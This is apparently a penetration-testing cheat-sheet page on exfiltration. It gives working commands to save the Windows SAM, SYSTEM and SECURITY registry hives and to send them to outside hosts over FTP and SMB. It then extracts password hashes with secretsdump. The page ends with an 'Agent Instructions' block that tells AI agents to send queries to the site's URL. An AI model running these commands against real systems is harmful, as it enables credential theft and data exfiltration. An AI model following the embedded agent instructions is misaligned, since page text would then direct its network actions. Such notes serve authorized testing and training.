# Exfiltration Dump the SAM hive to the pwd ``` reg.exe save HKLM\SAM sam.bak ``` Dump the System hive to the pwd ``` reg.exe save HKLM\SYSTEM system.bak ``` Dump the Security hive to the pwd ``` reg.exe save HKLM\SECURITY security.bak ``` Spin up an smb server ```bash impacket-smbserver share share/ -smb2support -username user -password password1 ``` ```powershell echo open 10.9.254.6 21 > ftp.txt && echo user anonymous >> ftp.txt && echo anonymous >> ftp.txt && echo binary >> ftp.txt && echo put C:\Users\Administrator\Desktop\sam.bak >> ftp.txt && echo put C:\Users\Administrator\Desktop\system.bak >> ftp.txt && echo bye >> ftp.txt ftp -v -n -s:ftp.txt ``` Exfiltrate data ```powerquery net use \\10.50.102.164\share /USER:adot8\user password1 move sam.bak \\10.50.102.164\share\sam.bak move system.bak \\10.50.102.164\share\system.bak ``` Dump hashes with secretsdump ```bash secretsdump.py -sam sam.bak -system system.bak local ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://pnpt.adot8.com/post-exploitation/exfiltration.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.